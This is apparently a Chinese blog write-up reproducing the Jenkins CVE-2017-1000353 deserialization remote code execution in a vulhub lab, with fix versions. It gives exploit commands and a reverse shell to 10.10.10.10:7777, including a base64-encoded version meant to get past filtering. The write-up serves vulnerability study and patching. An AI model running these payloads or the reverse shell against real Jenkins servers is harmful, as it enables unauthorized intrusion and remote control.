Jenkins-CI远程代码执行漏洞复现(CVE-2017-1000353)

漏洞分析

漏洞描述:
Jenkins存在未经身份验证的远程代码执行漏洞,经过序列化的Java SignedObject对象传输到基于远程处理的Jenkins CLI,在使用新的对象ObjectInputStream对其进行反序列化操作即可绕过现有的基于黑名单的保护机制。远程攻击者可利用漏洞在受影响的应用程序的上下文中执行任意代码,或造成程序拒绝服务。
影响版本:
Jenkins <= 2.56
Jenkins LTS <= 2.46.1

漏洞复现

使用vulhub复现
一、启动Jenkins LTS 2.46.1:

cd /vulhub-master/jenkins/CVE-2017-1000353
docker-compose up -d   启动

启动完成后可以成功访问http://your-ip:8080
二、生成序列化字符串
工具:CVE-2017-1000353-1.1-SNAPSHOT-all.jar
执行下面命令,生成字节码文件:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

三、发送数据包
工具:exploit.py

python3 exploit.py http://your-ip:8080 jenkins_poc.ser

进入docker:docker-compose exec jenkins bash,发现/tmp/success被创建,说明命令执行漏洞利用成功
在这里插入图片描述
四、反弹shell
监听机器IP:10.10.10.10
构造发送正常的反弹shell命令是无法反弹的:bash -i >& /dev/tcp/10.10.10.10/7777 0>&1
需要通过base64编码绕过:bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}"
python3 exploit.py http://your-ip:8080 jenkins_poc.ser

执行之后在监听机器上成功反弹shell
Jenkins-CI远程代码执行漏洞复现(CVE-2017-1000353)_第1张图片

漏洞修复

去官网中升级到以下对应版本:
Jenkins 2.57
JenkinsLTS 2.46.2

参考文章

https://vulhub.org/#/environments/jenkins/CVE-2017-1000353/
http://www.cqshic.com/html/1/wlxxaq/yjyc/2017-05-10/7168.html
https://xz.aliyun.com/t/6361

你可能感兴趣的:(漏洞复现)